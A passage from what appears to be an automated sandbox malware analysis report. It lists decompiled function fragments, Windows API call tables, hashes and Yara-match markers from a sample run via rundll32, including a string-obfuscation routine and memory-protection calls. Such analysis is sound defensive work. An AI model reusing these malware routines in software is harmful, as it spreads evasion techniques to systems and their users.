							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E04AB4DF6(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}














                                            0x04ab51e3
                                            0x04ab51e7
                                            0x04ab51e8
                                            0x04ab51e9
                                            0x04ab51eb
                                            0x04ab51ed
                                            0x04ab51f0
                                            0x04ab51f5
                                            0x04ab528c
                                            0x04ab5293
                                            0x04ab5293
                                            0x04ab51fe
                                            0x04ab5205
                                            0x04ab5215
                                            0x04ab5215
                                            0x04ab521b
                                            0x04ab521d
                                            0x04ab5222
                                            0x04ab522b
                                            0x04ab5231
                                            0x04ab5236
                                            0x04ab5241
                                            0x04ab5245
                                            0x04ab5247
                                            0x04ab5248
                                            0x04ab5251
                                            0x04ab5255
                                            0x04ab5266
                                            0x04ab5257
                                            0x04ab525c
                                            0x04ab5261
                                            0x04ab5270
                                            0x04ab5270
                                            0x04ab5245
                                            0x04ab5276
                                            0x04ab527c
                                            0x04ab527c
                                            0x04ab5285
                                            0x04ab528a
                                            0x04ab528a
                                            0x00000000

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: FreeSleepStringlstrlenmemcpy
                                            • String ID:
                                            • API String ID: 1198164300-0
                                            • Opcode ID: ae94c66491e4bd4c079b3d9f0f86a9b6e9f77c387528d626d518cac782689e19
                                            • Instruction ID: 5886450d1283fc1ea6f0bdd69a93516c18080e38d2cc1629e56b492c62ebbf36
                                            • Opcode Fuzzy Hash: ae94c66491e4bd4c079b3d9f0f86a9b6e9f77c387528d626d518cac782689e19
                                            • Instruction Fuzzy Hash: 04213075D01209FFDB11DFA8C9849DEBBB8FF59344B104169E945EB212EB30EA01DB90
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DF240D Relevance: 6.1, APIs: 4, Instructions: 75COMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlEnterCriticalSection.NTDLL(0637C2D0), ref: 05DF2423
                                            • RtlLeaveCriticalSection.NTDLL(0637C2D0), ref: 05DF243E
                                            • GetLastError.KERNEL32 ref: 05DF24AC
                                            • GetLastError.KERNEL32 ref: 05DF24BB
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalErrorLastSection$EnterLeave
                                            • String ID:
                                            • API String ID: 2124651672-0
                                            • Opcode ID: 834c9f511acff9b9e9911453eb27023534f81e827877e7cd00e4e54ca8d611c0
                                            • Instruction ID: c5e12a5c13fa8b3c64ba071593eb1b65883685cd2a461b8883a773e31b823b88
                                            • Opcode Fuzzy Hash: 834c9f511acff9b9e9911453eb27023534f81e827877e7cd00e4e54ca8d611c0
                                            • Instruction Fuzzy Hash: A0215C3A900609EFCF11DFA8DC45A9EBBF8FF08720B028156F916A3250CB74DA55DB50
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE29F2 Relevance: 6.1, APIs: 4, Instructions: 75stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • memset.NTDLL ref: 05DE2A14
                                            • lstrlenW.KERNEL32(?,?,?,?,?,00000000), ref: 05DE2A58
                                            • OpenFileMappingA.KERNEL32(80000000,00000000,?), ref: 05DE2A9B
                                            • CloseHandle.KERNEL32(?,?,?,?,00000000), ref: 05DE2ABE
                                              • Part of subcall function 05DDBD6D: GetTickCount.KERNEL32 ref: 05DDBD7D
                                              • Part of subcall function 05DDBD6D: CreateFileW.KERNEL32(00000000,80000000,00000003,05DF9208,00000003,00000000,00000000,?,?,00000000), ref: 05DDBD9A
                                              • Part of subcall function 05DDBD6D: GetFileSize.KERNEL32(?,00000000,?,00000001,?,?,00000000), ref: 05DDBDCD
                                              • Part of subcall function 05DDBD6D: CreateFileMappingA.KERNEL32(00000000,05DF9208,00000002,00000000,00000000,?), ref: 05DDBDE1
                                              • Part of subcall function 05DDBD6D: lstrlen.KERNEL32(?,?,?,00000000), ref: 05DDBDFD
                                              • Part of subcall function 05DDBD6D: lstrcpy.KERNEL32(?,?), ref: 05DDBE0D
                                              • Part of subcall function 05DDBD6D: HeapFree.KERNEL32(00000000,?,?,?,00000000), ref: 05DDBE28
                                              • Part of subcall function 05DDBD6D: CloseHandle.KERNEL32(?,?), ref: 05DDBE3A
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CloseCreateHandleMappinglstrlen$CountFreeHeapOpenSizeTicklstrcpymemset
                                            • String ID:
                                            • API String ID: 3239194699-0
                                            • Opcode ID: 26e37587b4f824b86fcbe1c5b5a1a17c566bd382c197f3b290f8c38087060c83
                                            • Instruction ID: 22bf11d207360fbcbc59818ffd4b1582ed9b75588becb0dd82d93dbbd794793f
                                            • Opcode Fuzzy Hash: 26e37587b4f824b86fcbe1c5b5a1a17c566bd382c197f3b290f8c38087060c83
                                            • Instruction Fuzzy Hash: 53211B35500209EADF21EFA5DD49EEE7BBDFF48354F140126F915922A0EB31D545CBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEA17B Relevance: 6.1, APIs: 4, Instructions: 70fileCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DD3AEB: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,00000208,00000000,00000000,?,?,05DEA192), ref: 05DD3B11
                                            • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00001003,00000000,?,00000000,00000000,00000000,?,00000000), ref: 05DEA1CD
                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,05DDA61B,?), ref: 05DEA1DF
                                            • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,?,?,?,?,05DDA61B,?), ref: 05DEA1F7
                                            • CloseHandle.KERNEL32(?,?,?,?,?,?,05DDA61B,?), ref: 05DEA212
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CloseCreateHandleModuleNamePointerRead
                                            • String ID:
                                            • API String ID: 1352878660-0
                                            • Opcode ID: a135c0ab8b7b84a1d2738404a1175dc38bbc9cf6336065d61614e50941ee407a
                                            • Instruction ID: 73c5a473a54ba10f41bf418d6bcf848ec075a30527042cf5181b9ccbdedbcf9d
                                            • Opcode Fuzzy Hash: a135c0ab8b7b84a1d2738404a1175dc38bbc9cf6336065d61614e50941ee407a
                                            • Instruction Fuzzy Hash: ED115B71641129BADF20ABA9CC8DFEFBEADEF15654F104552F515F2190D7328A80CBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD414B Relevance: 6.1, APIs: 4, Instructions: 68stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlenW.KERNEL32(?), ref: 05DD415B
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,00000000,00000000,00000001), ref: 05DD417D
                                            • lstrcpyW.KERNEL32(00000000,?), ref: 05DD41A9
                                            • lstrcatW.KERNEL32(00000000,?), ref: 05DD41BC
                                              • Part of subcall function 05DD6C62: strstr.NTDLL ref: 05DD6D3A
                                              • Part of subcall function 05DD6C62: strstr.NTDLL ref: 05DD6D8D
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: strstr$AllocateByteCharHeapMultiWidelstrcatlstrcpylstrlen
                                            • String ID:
                                            • API String ID: 3712611166-0
                                            • Opcode ID: c3d08b3d7d8a977ea2cc7215faad8471842ef0358115569a68fa4e69e3b7e481
                                            • Instruction ID: 678102489be7836f63140c9ea671656821a04b0e91ee27b4a4e41fddb900e435
                                            • Opcode Fuzzy Hash: c3d08b3d7d8a977ea2cc7215faad8471842ef0358115569a68fa4e69e3b7e481
                                            • Instruction Fuzzy Hash: 46114476602019BFDF00AFA8CC88C9FBFADEF09294B004026F905D6220DB31DA508BB0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE50C5 Relevance: 6.1, APIs: 4, Instructions: 68stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(?,?,?,?,05DD1765), ref: 05DE50FD
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • lstrcpy.KERNEL32(00000000,?), ref: 05DE5114
                                            • StrChrA.SHLWAPI(00000000,0000002E,?,?,05DD1765), ref: 05DE511D
                                            • GetModuleHandleA.KERNEL32(00000000,?,?,05DD1765), ref: 05DE513B
                                              • Part of subcall function 05DE7DF1: VirtualProtect.KERNEL32(00000000,00000005,00000040,00000040,00000000,00000005,00000000,00000000,?,00000000,05DD1765,00000000,00000004,?,00000000,?), ref: 05DE7EC9
                                              • Part of subcall function 05DE7DF1: VirtualProtect.KERNEL32(?,00000004,?,?,00000000,05DD1765,00000000,00000004,?,00000000,?,00000000,?,05DF50A8,0000001C,05DEE844), ref: 05DE7EE4
                                              • Part of subcall function 05DE7DF1: RtlEnterCriticalSection.NTDLL(05DF9420), ref: 05DE7F09
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ProtectVirtual$AllocateCriticalEnterHandleHeapModuleSectionlstrcpylstrlen
                                            • String ID:
                                            • API String ID: 105881616-0
                                            • Opcode ID: fdf635acea0489aaeaf39d0aac3525b6785e588e7c0e82faa6395700fece009e
                                            • Instruction ID: 47c6784cc6e4909895f8e7d683a39e38e4b488634b6c67b11d7a9e8c068562e5
                                            • Opcode Fuzzy Hash: fdf635acea0489aaeaf39d0aac3525b6785e588e7c0e82faa6395700fece009e
                                            • Instruction Fuzzy Hash: 6A213A75A01209EFCB11EFA8DC48AAEBBF9FF45344F54805AE44697350EB70D981CB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD5788 Relevance: 6.1, APIs: 4, Instructions: 67registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 05DD57A3
                                            • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 05DD57C7
                                            • RegCloseKey.ADVAPI32(?), ref: 05DD581F
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?), ref: 05DD57F0
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: QueryValue$AllocateCloseHeapOpen
                                            • String ID:
                                            • API String ID: 453107315-0
                                            • Opcode ID: 80b8f16a83c37662a1f3672511c042239b3e10512a740deef7ef44fe46054379
                                            • Instruction ID: 8b6809b7776a5750ba4b36661794368c44385a8edee726d1b8da630c201e1a04
                                            • Opcode Fuzzy Hash: 80b8f16a83c37662a1f3672511c042239b3e10512a740deef7ef44fe46054379
                                            • Instruction Fuzzy Hash: 6921D3B5910108FFDB11DF98D884CEEBFBAFB88751F208466F806A7210D7719A91DB61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE5798 Relevance: 6.1, APIs: 4, Instructions: 61memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,05DDA27D,00000000,?,?,05DDACCC,00000000,0637C310), ref: 05DE57A3
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DE57BB
                                            • memcpy.NTDLL(00000000,?,-00000008,?,?,?,05DDA27D,00000000,?,?,05DDACCC,00000000,0637C310), ref: 05DE57FF
                                            • memcpy.NTDLL(00000001,?,00000001,?,?,?), ref: 05DE5820
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: memcpy$AllocateHeaplstrlen
                                            • String ID:
                                            • API String ID: 1819133394-0
                                            • Opcode ID: 01640c23d64e2efc7b0c4e1bafb14687936e2a7fbe6884edd141eddb253ad5e2
                                            • Instruction ID: 84bb643f2f08d85458e63821c2d877804199106e32ca77310def6fdb261da799
                                            • Opcode Fuzzy Hash: 01640c23d64e2efc7b0c4e1bafb14687936e2a7fbe6884edd141eddb253ad5e2
                                            • Instruction Fuzzy Hash: D111E972A00214FFD7109B69EC89E9EBFAEEBC5260B15417BF505D7240EA709E0497A0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB72E7 Relevance: 6.1, APIs: 4, Instructions: 61memorystringCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 68%
                                            			E04AB72E7(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x4aba2d8, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x4aba2f0; // 0xc35d2c1
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x4aba2f0 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

















                                            0x04ab72ef
                                            0x04ab72f2
                                            0x04ab72f8
                                            0x04ab7310
                                            0x04ab7312
                                            0x04ab7317
                                            0x04ab7319
                                            0x04ab731c
                                            0x04ab731e
                                            0x04ab7321
                                            0x04ab7323
                                            0x04ab7323
                                            0x04ab7325
                                            0x04ab7330
                                            0x04ab7335
                                            0x04ab7346
                                            0x04ab734e
                                            0x04ab7353
                                            0x04ab7356
                                            0x04ab7359
                                            0x04ab735b
                                            0x04ab735e
                                            0x04ab7361
                                            0x04ab7361
                                            0x04ab7364
                                            0x04ab736f
                                            0x04ab7374
                                            0x04ab737e

                                            APIs
                                            • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04AB37CC,00000000,?,?,04AB653D,?,056295B0), ref: 04AB72F2
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 04AB730A
                                            • memcpy.NTDLL(00000000,?,-00000008,?,?,?,04AB37CC,00000000,?,?,04AB653D,?,056295B0), ref: 04AB734E
                                            • memcpy.NTDLL(00000001,?,00000001), ref: 04AB736F
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: memcpy$AllocateHeaplstrlen
                                            • String ID:
                                            • API String ID: 1819133394-0
                                            • Opcode ID: 9dfabb7c1e4d3dcfb9c994a47d0797854022d2b44ba31717da301004848d127e
                                            • Instruction ID: 0ba7dc21b1334784811fc87c2e09c3a3815d59273ca11bf749b20fffc65fb3bb
                                            • Opcode Fuzzy Hash: 9dfabb7c1e4d3dcfb9c994a47d0797854022d2b44ba31717da301004848d127e
                                            • Instruction Fuzzy Hash: 83110672A00214AFD7148F69DC84DDEBBAEEBD4360B050276F9449B162EB759E0197E0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDF1D4 Relevance: 6.1, APIs: 4, Instructions: 58threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GlobalFix.KERNEL32(00000000), ref: 05DDF214
                                            • memset.NTDLL ref: 05DDF228
                                            • GetWindowThreadProcessId.USER32(00000000,?), ref: 05DDF235
                                              • Part of subcall function 05DED818: OpenProcess.KERNEL32(00000410,?,?,?,00000000,?,0000001C,00000000,00000000,?,?,?,05DDE219,?), ref: 05DED872
                                              • Part of subcall function 05DED818: CloseHandle.KERNEL32(00000000,00000000,00000000,?,00000104,?,00000000,?,0000001C,00000000,00000000,?,?,?,05DDE219,?), ref: 05DED890
                                              • Part of subcall function 05DED818: GetSystemTimeAsFileTime.KERNEL32(?), ref: 05DED8F8
                                            • GlobalUnWire.KERNEL32(00000000), ref: 05DDF260
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: GlobalProcessTime$CloseFileHandleOpenSystemThreadWindowWirememset
                                            • String ID:
                                            • API String ID: 3286078456-0
                                            • Opcode ID: 0f1deeed2582eebeda06283435243cedd0d0b931eaa888ab7874d96abae69960
                                            • Instruction ID: 271dcf7f70d2ddaf2094e174f6f3bd204521e3faaefb6444ecc2d91dd94d6774
                                            • Opcode Fuzzy Hash: 0f1deeed2582eebeda06283435243cedd0d0b931eaa888ab7874d96abae69960
                                            • Instruction Fuzzy Hash: 81117375A04205AFDB11AFB8AC4AB9EBFB8AF58711F044017F906E2380EF708501DB76
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE9649 Relevance: 6.1, APIs: 4, Instructions: 57COMMON
                                            Download Yara Rule
                                            APIs
                                            • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,00000001,?,?,?,05DD5F93,00000000,00000000), ref: 05DE9667
                                            • GetLastError.KERNEL32(?,?,?,05DD5F93,00000000,00000000,00000000,00000000,0000001E,0000001E,?,?,?,05DD2605,?,0000001E), ref: 05DE966F
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ByteCharErrorLastMultiWide
                                            • String ID:
                                            • API String ID: 203985260-0
                                            • Opcode ID: 48579a1c402c65c9f3a1d0d5da3f8661589ce67983c022b8f88c216790fb474a
                                            • Instruction ID: 6b9d351801f5f7b4aeed40ea6de595306dd326cfd5837c5db254d78e2b938052
                                            • Opcode Fuzzy Hash: 48579a1c402c65c9f3a1d0d5da3f8661589ce67983c022b8f88c216790fb474a
                                            • Instruction Fuzzy Hash: E60184721092517F8721BB669C5CC6BBF6DFBCB764B110A1FF8A696280EA219804C771
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD292E Relevance: 6.1, APIs: 4, Instructions: 56stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(?), ref: 05DD2942
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • mbstowcs.NTDLL ref: 05DD295C
                                            • lstrlen.KERNEL32(?), ref: 05DD2967
                                            • mbstowcs.NTDLL ref: 05DD2981
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(?,00000000,76EC69A0,?,00000250,?,00000000), ref: 05DD5A60
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(?,?,00000000), ref: 05DD5A6C
                                              • Part of subcall function 05DD5A14: memset.NTDLL ref: 05DD5AB4
                                              • Part of subcall function 05DD5A14: FindFirstFileW.KERNEL32(00000000,00000000), ref: 05DD5ACF
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(0000002C), ref: 05DD5B07
                                              • Part of subcall function 05DD5A14: lstrlenW.KERNEL32(?), ref: 05DD5B0F
                                              • Part of subcall function 05DD5A14: memset.NTDLL ref: 05DD5B32
                                              • Part of subcall function 05DD5A14: wcscpy.NTDLL ref: 05DD5B44
                                              • Part of subcall function 05DDC6B8: RtlFreeHeap.NTDLL(00000000,00000000,05DF1A9A,00000000), ref: 05DDC6C4
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrlen$Heapmbstowcsmemset$AllocateFileFindFirstFreewcscpy
                                            • String ID:
                                            • API String ID: 1961997177-0
                                            • Opcode ID: 86a05a8a88e6f72857d1561127eea819c84e5ae7840f3c1fa3aecccf2e5b852b
                                            • Instruction ID: 9e86998a1d9cfdc2ddca1da69f8f2fd16f10ffca360ca1d038f2de5ad24470ab
                                            • Opcode Fuzzy Hash: 86a05a8a88e6f72857d1561127eea819c84e5ae7840f3c1fa3aecccf2e5b852b
                                            • Instruction Fuzzy Hash: 6B01B132A40205B7CB21ABA98C49F8FBBADEF84750F105027B906A7110EA75E90097B0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE00A6 Relevance: 6.1, APIs: 4, Instructions: 54memorystringtimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetSystemTimeAsFileTime.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,05DF0641,?,00000000,00000000), ref: 05DE00B9
                                            • lstrlen.KERNEL32(0637C178,?,05DF0641,?,00000000,00000000), ref: 05DE00DA
                                            • RtlAllocateHeap.NTDLL(00000000,00000014), ref: 05DE00F2
                                            • lstrcpy.KERNEL32(00000000,0637C178), ref: 05DE0104
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Time$AllocateFileHeapSystemlstrcpylstrlen
                                            • String ID:
                                            • API String ID: 1929783139-0
                                            • Opcode ID: 5434b9b24f81178dbc316684bb6cdf732b0ab131ba79aae4e6df3fd58964863a
                                            • Instruction ID: 6f76231ed0d6296e1a62bb9259fc0c719b1242e1ed66e1886624c9d72b22b9dd
                                            • Opcode Fuzzy Hash: 5434b9b24f81178dbc316684bb6cdf732b0ab131ba79aae4e6df3fd58964863a
                                            • Instruction Fuzzy Hash: B701C876904205BBCB11ABACE889F5FBFBCEB48241F044067F906E3301DA709645C770
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD121A Relevance: 6.1, APIs: 4, Instructions: 54memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(?), ref: 05DD1227
                                            • RtlAllocateHeap.NTDLL(00000000,00000015), ref: 05DD124D
                                            • lstrcpy.KERNEL32(00000014,?), ref: 05DD1272
                                            • memcpy.NTDLL(?,?,?), ref: 05DD127F
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AllocateHeaplstrcpylstrlenmemcpy
                                            • String ID:
                                            • API String ID: 1388643974-0
                                            • Opcode ID: 3764a640b1e54a5b5fec4ecff98f8a7fee52a77e7b18d8bc514c8c5de8f6a100
                                            • Instruction ID: d2a47c443edc9b73b1b88f7ead9fee6de8d6f9f95aa149ca0d7745cc581ef2c7
                                            • Opcode Fuzzy Hash: 3764a640b1e54a5b5fec4ecff98f8a7fee52a77e7b18d8bc514c8c5de8f6a100
                                            • Instruction Fuzzy Hash: 6411497191020AEFCB21CF98D885E9ABFF9FB48714F10841AF84A87310C771E944CBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE1777 Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • RtlInitializeCriticalSection.NTDLL(05DF9420), ref: 05DE179B
                                            • RtlInitializeCriticalSection.NTDLL(05DF9400), ref: 05DE17B1
                                            • GetVersion.KERNEL32(?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE17C2
                                            • GetModuleHandleA.KERNEL32(00001663,?,?,?,?,?,?,?,05DDBF69,?,?,?,?,?), ref: 05DE17F6
                                              • Part of subcall function 05DEC203: GetModuleHandleA.KERNEL32(?,00000001,772E9EB0,00000000,?,?,?,?,00000000,05DE17D9), ref: 05DEC21B
                                              • Part of subcall function 05DEC203: LoadLibraryA.KERNEL32(?), ref: 05DEC2BC
                                              • Part of subcall function 05DEC203: FreeLibrary.KERNEL32(00000000), ref: 05DEC2C7
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalHandleInitializeLibraryModuleSection$AllocateFreeHeapLoadVersion
                                            • String ID:
                                            • API String ID: 1711133254-0
                                            • Opcode ID: 2625eca5fe4f2fd9f7b057b8dcda8e1af2010beeef048dd7a13c6cb5680df0f1
                                            • Instruction ID: fefa6c36469c1ee55056792e1bf18f3d82f690c214856102ff6fac8043798608
                                            • Opcode Fuzzy Hash: 2625eca5fe4f2fd9f7b057b8dcda8e1af2010beeef048dd7a13c6cb5680df0f1
                                            • Instruction Fuzzy Hash: E8113971E21201AFDB05AFADA8AAB467FE4F789624741443BF605CB340DB705884CF90
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD9706 Relevance: 6.0, APIs: 4, Instructions: 50memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(?,7711D3B0,?,76EC5520,05DD22AF,00000000,?,?,?), ref: 05DD970D
                                            • RtlAllocateHeap.NTDLL(00000000,0000000D), ref: 05DD9725
                                            • memcpy.NTDLL(0000000C,?,00000001), ref: 05DD973B
